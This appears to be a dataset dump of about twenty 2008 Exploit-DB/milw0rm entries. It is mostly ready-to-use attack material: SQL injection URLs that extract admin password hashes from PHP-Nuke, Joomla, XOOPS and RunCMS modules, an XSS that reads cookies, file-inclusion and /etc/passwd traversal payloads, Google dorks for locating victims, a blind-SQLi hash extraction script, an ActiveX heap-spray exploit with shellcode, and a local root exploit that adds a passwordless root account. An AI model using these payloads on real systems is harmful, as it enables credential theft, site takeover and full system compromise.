QLWD/code_shield huggingface dataset:
标题: OSSIM 0.9.9rc5 - Cross-Site Scripting / SQL Injection EDB-ID: 5171 CVE: 2008-0920 2008-0919 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: Application: OSSIM
http://www.ossim.net
Version: 0.9.9rc5 
Note: it is possible that the problem affects also earlier OSSIM versions
Platforms: Linux
Bug: SQL injection, Cross Site Scripting
Exploitation: remote
Date: 21 Feb 2008
Author: Marcin Kopec
E-mail: marcin(dot)kopec(at)hotmail(dot)com

---------------------------------------

1) Introduction

OSSIM it's a free implementation of  Security Information Management (SIM) system, equipped with many useful security tools (nessus, snort, p0f, ntop, ...) managed from easy-to-use web panel.

2) SQL injection

The bug exist in portname parameter of modifyportform.php
It's possible to obtain hashed administrator password when user have rights to do port modification in "PORTS" tab.

http://[host]/ossim/port/modifyportform.php?portname=ANY'%20and%201=2%20union%20select%20pass,2%20from%20ossim.users%20where%20login='admin

3) XSS

Quotes in OSSIM aren't property sanitized.  
Below XSS may be executed without logging into the OSSIM.

http://[host]/ossim/session/login.php?dest=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--

# milw0rm.com [2008-02-21] URL: https://www.exploit-db.com/exploits/5171
标题: Quinsonnas Mail Checker 1.55 - 'footer.php' Remote File Inclusion EDB-ID: 5176 CVE: 2008-1046 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-23 漏洞利用脚本: ### Quinsonnas Mail Checker 1.55 (footer.php) Remote File Inclusion Vulnerabilities
### http://switch.dl.sourceforge.net/sourceforge/quinsonnas/quinsonnas-1.55.tar.bz2
### POC :
###     /quinsonnas-1.55/footer.php?op[footer_body]=http://localhost/020.txt?
### I'm Tryagi - Tryag.Cc/cc -  :) 

# milw0rm.com [2008-02-23] URL: https://www.exploit-db.com/exploits/5176
标题: PHP-Nuke Module Inhalt - 'cid' SQL Injection EDB-ID: 5163 CVE: 2008-0907 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: /////////////////////////////////////////


Title   : Php - Nuke Module Inhalt Sql

Author  : Crackers_Child

Mail    : Cashr00t@hotmail.com

Exploit :


modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/aid,2/**/from/**/nuke_authors/*where%20admin%20-2


modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2


Greetz: Str0ke , biyofrm.com , indir21.com , sibersavascilar.com , tryag.cc

///////////////////////////////////////// 

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5163
标题: PHP-Nuke Modules Okul 1.0 - 'okulid' SQL Injection EDB-ID: 5159 CVE: 2008-0881 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules Okul v1.0 Remote SQL Injection

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
modules.php?name=Okul&op=okullar&okulid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, s@bun.

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-= 

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5159
标题: PHP-Nuke Module Docum - 'artid' SQL Injection EDB-ID: 5161 CVE: 2008-0906 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: #########################################################################

           php-nuke modules Docum remote sql inj
#########################################################################

Found:DamaR

By.Damar@Hotmail.Com

Hack Bitti ama DÃ¶nmek YakÄ±n  Since 2000
-------------------------------------------------------------------------------


/modules.php?name=Docum&op=viewarticle&artid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2

#########################################################################
Example: http://www.xxx.com.ar/mt/


#########################################################################

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5161
标题: Globsy 1.0 - 'file' Remote File Disclosure EDB-ID: 5162 CVE: 2008-0905 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: Globsy 1.0 (file) Remote File Disclosure Vulnerability
http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
/globsy_edit.php?file=globsy_config.php
/globsy_edit.php?file=../../../../../../../etc/passwd

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5162
标题: Woltlab Burning Board 3.0.x - Blind SQL Injection EDB-ID: 5164 CVE: 2008-0857 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
echo "WoltLab Burning Board 3.0.X Remote SQL-Injection Exploit by NBBN\n";
start(1, 48);
/** You have to edit this script. **/

/** Works succesfully at 3.0.1. If you enter in 3.0.3 PL1: 
index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=blup 
you get an mysql error, currently I don't know it's fixxed or not. So, if 
there is a vulnerabiltiy. Exploiting takes some times, so get a coffee or 
some other drink xD. Please don't use this for crack boards, thx. **/


function start($pos, $char)
{
static $hash = "Hash: ";
$host = "localhost";       // Edit the host
$path = "/xampp/wbb3/install/wbb3/wbb/";   // and edit the path

$attack = 
"$path"."index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=ASC,
%20
(SELECT%20password%20FROM%20wcf1_user%20WHERE%20userID=1%20AND%20IF(ORD(SUBSTR(password,
$pos,$pos))>$char,BENCHMARK(3000000,MD5(23)),1))";  // Edit 3000000 if the 
stuff doesn't work or taking long times. 

/** Place here youre autologin cookie **/
$cookie = "wcf_cookieHash=; wcf_boardLastActivityTime=; wcf_userID=; 
wcf_password=;";

$starttime = time();
$connection = fsockopen($host, 80);
fputs($connection, "GET: $attack HTTP/1.1\n");
fputs($connection, "Host: $host\n");
fputs($connection, "Cookie: $cookie\n");
fputs($connection, "Content-type: application/x-www-form-urlencoded\n");
fputs($connection, "Connection: close\n\n");
fputs($connection, "$attack\n");
fputs($$connection, "$cookie\n");
//while(!feof($connection)) {
//$res .= fgets($connection, 128);
//}
fclose($con);
$endtime = time();
$dif = $endtime - $starttime;


if($dif > 10)  // Edit this number, if the script doesn't work
{
  if($char != 65 or $char != 66 or $char != 67 or $char != 68 or $char != 69 
or $char != 70)
  {
echo "Not the right char ($char) position $pos. Try another...\n";
start($pos, $char +1);
  }
else { start($pos, $char +1); }
}
else
{
echo "K, find one ($char)\n";
if ($char == 48)
{
$hash .= "0";
}
else if($char == 49)
{
$hash .= "1";
}
else if($char == 50)
{
$hash .= "2";
}
else if($char == 51)
{
$hash .= "3";
}
else if($char == 52)
{
$hash .= "4";
}
else if($char == 53)
{
$hash .= "5";
}
else if($char == 54)
{
$hash .= "6";
}
else if($char == 55)
{
$hash .= "7";
}
else if($char == 56)
{
$hash .= "8";
}
else if($char == 57)
{
$hash .= "9";
}else if($char == 58)
{
$hash .= "10";
}
else if($char == 65)
{
$hash .= "a";
}
else if($char == 66)
{
$hash .= "b";
}
else if($char == 67)
{
$hash .= "c";
}
else if($char == 68)
{
$hash .= "d";
}
else if($char == 69)
{
$hash .= "e";
}
else if($char == 70)
{
$hash .= "f";
}
else if($char == 97)
{
$hash .= "a";
}
else if($char == 98)
{
$hash .= "b";
}
else if($char == 99)
{
$hash .= "c";
}
else if($char == 100)
{
$hash .= "d";
}
else if($char == 101)
{
$hash .= "e";
}
else if($char == 102)
{
$hash .= "f";
}

echo "$hash\n";
if(strlen($hash) == 32) {
die($hash);
}
else {
start($pos +1, 48);
}


}




}
?>

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5164
标题: Joomla! Component Highwood Design hwdVideoShare - SQL Injection EDB-ID: 5160 CVE: 2008-0916 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-20 漏洞利用脚本: ###############################################################
#
# joomla SQL Injection(com_hwdvideoshare)+Powered by hwdVideoShare
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : Powered by hwdVideoShare
#
# DORK 2 : allinurl: com_hwdvideoshare
#
################################################################
EXPLOIT : SÄ°METiMES YOU NEED LOGiN

index.php?option=com_hwdvideoshare&func=viewcategory&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/000,111,222,username,password,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,2,2,2/**/from/**/jos_users/*

################################################################
# S@BUN             i AM NOT HACKER                   S@BUN
################################################################

# milw0rm.com [2008-02-20] URL: https://www.exploit-db.com/exploits/5160
标题: RunCMS Module MyAnnonces - 'cid' SQL Injection EDB-ID: 5156 CVE: 2008-0878 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: ###############################################################
#
# runcms MyAnnonces SQL Injection(cid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "modules MyAnnonces index php pa view"
#
################################################################
EXAMPLE
XXXXMyAnnonces/index.php?pa=view&cid=[EXPLOiT]

EXPLOIT :

for admin = -9999999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

for pass = -9999999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*



################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5156
标题: PHP-Nuke Module EasyContent - 'page_id' SQL Injection EDB-ID: 5155 CVE: 2008-0880 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: -------------------------------------------------------------------------------
php-nuke modules EasyContent remote sql inj
-------------------------------------------------------------------------------
found =xoron
-------------------------------------------------------------------------------
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
-------------------------------------------------------------------------------
Example: http://eurowards.org/content/

not: password and username in title! colomb number 1

not2: Adam gibi bug bulunda dolanÄ±n ortalarda, istenilince ne kadar boÅŸ bug varsa bÃ¶le post edilir milw0rma.
iÅŸe yarar bug nasÄ±l hit yapÄ±yor gÃ¶rmek istiyorsanÄ±z

http://www.milw0rm.com/author/721

sadece bi bug 16000+  hit sadece milw0rm;)

Herzmn kral benimdir!
-------------------------------------------------------------------------------

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5155
标题: Ourgame GLWorld 2.x - 'hgs_startNotify()' ActiveX Buffer Overflow EDB-ID: 5153 CVE: 2008-0647 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-19 漏洞利用脚本: <%@ LANGUAGE = JavaScript %>
<%

var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 1319) buffer+="A";

buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;

act.hgs_startNotify(buffer);

%>

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5153
标题: XOOPS Module Classifieds - 'cid' SQL Injection EDB-ID: 5158 CVE: 2008-0873 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: ###############################################################
#
# XOOPS Module classifieds SQL Injection(cid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: cid"modules/classifieds/index.php?pa=Adsview"
#
################################################################
example

http://xxxx/modules/classifieds/index.php?pa=Adsview&cid=[exploit]

EXPLOIT :

-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0x3a,0x3a,concat(uname,0x3a,pass)/**/from+xoops_users/*where%20admin%20-1

################################################################
# S@BUN                i AM NOT HACKER           S@BUN
################################################################

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5158
标题: X.Org xorg-x11-xfs 1.0.2-3.1 - Local Race Condition EDB-ID: 5167 CVE: 2007-3103 类型: LOCAL 平台: LINUX 发布日期: 2008-02-21 漏洞利用脚本: #!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
# 
# Another lame xploit by vl4dZ :)) works on redhat el5 and before 
#
#  $ id
#  uid=1001(kecos) gid=1001(user) groups=1001(user)
#  $ sh xfs-RaceCondition-root-exploit.sh 
#  [*] Generate large data file in /tmp/.font-unix
#  [*] Wait for xfs service to be (re)started by root...
#  [*] Hop, symlink created...
#  [*] Launching root shell
#  -sh-3.1# id
#  uid=0(root) gid=0(root) groups=0(root)

# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is 
# located in the start() function of the /etc/init.d/xfs script:
# ...
#    rm -rf $FONT_UNIX_DIR
#    mkdir $FONT_UNIX_DIR
#    chown root:root $FONT_UNIX_DIR
#    chmod 1777 $FONT_UNIX_DIR
# ...

# I'm listening right now to nice free music: 
# http://www.jamendo.com/fr/album/5919

FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

# milw0rm.com [2008-02-21] URL: https://www.exploit-db.com/exploits/5167
标题: XOOPS Module eEmpregos - 'cid' SQL Injection EDB-ID: 5157 CVE: 2008-0874 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: ##############################################################
#
# XOOPS Module eEmpregos SQL Injection(cid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "modules/eEmpregos/index.php"
#
# DORK 2 : allinurl: cid "modules/eEmpregos"
#
################################################################
example

http://xxxx/modules/eEmpregos/index.php?pa=view&cid=[exploit]


EXPLOIT :

-00000000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+0,1,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*/*where%20admin%201=%202

################################################################
# S@BUN           i AM NOT HACKER               S@BUN
################################################################

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5157
标题: Joomla! Component com_clasifier - 'cat_id' SQL Injection EDB-ID: 5146 CVE: 2008-0842 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: ###############################################################
#
# joomla SQL Injection(com_clasifier)
#
###############################################################
#
# AUTHOR : S@BUN
#
 HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: com_clasifier
#
# DORK 2 : allinurl: com_clasifier cat_id
#
################################################################
EXPLOIT :

index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*


################################################################
# S@BUN             i AM NOT HACKER             S@BUN
################################################################

# milw0rm.com [2008-02-18] URL: https://www.exploit-db.com/exploits/5146
标题: X.Org xorg-server 1.1.1-48.13 - Probe for Files (PoC) EDB-ID: 5152 CVE: 2007-5958 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-19 漏洞利用脚本: #!/bin/sh
# Xorg file disclosure vulnerability (CVE-2007-5958)
#
# Lame xploit by vl4dZ :))
#
# sh-3.1$ whoami
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# sh-3.1$ ./Xorg-File-Existence-PoC.sh /root/.ssh/id_dsa
# ...
# *** FILE /root/.ssh/id_dsa EXIST !! ***

# Vulnerable: xorg-server <= 1.1.1-48.13

X_EXEC=/usr/bin/X
TMP_FILE=/tmp/X.$$

if [ "$1" = "" ]; then
   echo "usage: $0 <file>"
   exit 1
fi

[ -f ${X_EXEC} ] || (echo "${X_EXEC} not found"; exit 1)

echo -e "\n** Xorg file disclosure vulnerability PoC (CVE-2007-5958) **\n"
echo "A second X server is going to be started, once started, type the "
echo "ctrl+Alt+Backspace sequence and you'll see the result of your request."
echo -en "\nType [Enter] to start: "; read

LANG=c ${X_EXEC} :1 -ac -sp $1 2> ${TMP_FILE}

grep "error opening security policy file" ${TMP_FILE} >/dev/null
if [ $? != 0 ]; then
   echo "*** FILE $1 EXIST !! ***"
else
   echo "*** FILE $1 DOES NOT EXIST !! ***"
fi
rm -f ${TMP_FILE}

echo -e "\nCtrl-C to quit."
sleep 500

# milw0rm.com [2008-02-19] URL: https://www.exploit-db.com/exploits/5152
标题: Thecus N5200Pro NAS Server Control Panel - Remote File Inclusion EDB-ID: 5150 CVE: 2008-0804 类型: REMOTE 平台: HARDWARE 发布日期: 2008-02-18 漏洞利用脚本: Thecus N5200Pro NAS Server Control Panel Remote File Ä°nclude


Author : Crackers_Child

Mail   : cashr00t@hotmail.com

Bug in : usrgetform.html


<?php
    $htm=$_REQUEST['name'];
    require_once("/img/htdocs/webconfig");
    require_once("/img/www/inc/function.php");
    get_sysconf();
    $version=trim(shell_exec("/bin/cat /img/version"));
    $model=trim(shell_exec('/bin/cat /proc/thecus_io | awk -F: \'/CPUFLAG/{printf("%s", $2)}\''));
    if($model=="1"){
      $model_name=$webconfig['product_no'].$webconfig['pro'];
    }else{
      $model_name=$webconfig['product_no'];
    }
    if (!$htm){
        print 'no name given';
        exit;
    }
    if ($htm=='lang') $htm='../pub/lang';
    session_start();
    header('Content-type: text/html;charset=utf-8');
    $lang='en';
    if (isset($_SESSION['lang'])){$lang=$_SESSION['lang'];};
    ob_start();
    include("$htm.htm");
    $html=ob_get_contents();
    ob_end_clean();

    include_once('header.html');
?>



Exploit : www.site.com:9443/usr/usrgetform.html?name=Shelz?

Ä°nfo : http://www.thecus.com/products_over.php?cid=11&pid=8

Greetz: Str0ke

# milw0rm.com [2008-02-18] URL: https://www.exploit-db.com/exploits/5150
标题: DESlock+ < 3.2.6 - 'LIST' Local Kernel Memory Leak EDB-ID: 5141 CVE: 2008-1141 类型: LOCAL 平台: WINDOWS 发布日期: 2008-02-18 漏洞利用脚本: /* deslock-list-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.6 local kernel mem leak POC
 * by mu-b - Fri 21 Dec 2007
 *
 * - Tested on: DLMFENC.sys 1.0.0.26
 *
 * kernel pool memory leak by continually allocating link list
 * structures and never freeing them. This is not without a sense
 * of irony in that each element must correspond to a unique
 * ProcessID (arg[0]). Thus, adding a single element incurs a
 * linear cost due to search :(. (O((n^2+n)/2) overall cost.)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  DWORD i, rlen;
  HANDLE hFile;
  BOOL result;

  printf ("DESlock+ <= 3.2.6 local kernel mem leak PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);

  for (i = 0; i <= UINT_MAX; i++)
    {
      req.flag = DLMFENC_FLAG;
      req.req_num = 0x03;
      req.arg[0] = (void *) i;

      xor_mask_req (&req);
      result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                                &req, sizeof req, &req, sizeof req, &rlen, 0);
      if (!result)
        {
          fprintf (stderr, "* DeviceIoControl failed\n");
          exit (EXIT_FAILURE);
        }

      if (!(i % 64))
        printf ("%d..", i);
    }

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-18] URL: https://www.exploit-db.com/exploits/5141
标题: XOOPS Module myTopics - 'articleId' SQL Injection EDB-ID: 5148 CVE: 2008-0847 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: ###############################################################
#
# XOOPS Module myTopics-print SQL Injection(articleid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "/modules/myTopics/"
#
# you can add expliot after mytopics
#
################################################################
EXPLOIT :


print.php?articleid=-9999999/**/union/**/select+1,char(112,115,101,114),0,concat(uname,0x3a,pass),0,char(117,115,101,114,110,97,109,101,58),0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,111,333,222,0,0,0,0/**/from%2F%2A%2A%2Fxoops_users/*%20where%20admin%201%200%201%20

################################################################
# S@BUN                     i AM NOT HACKER                S@BUN
################################################################

# milw0rm.com [2008-02-18] URL: https://www.exploit-db.com/exploits/5148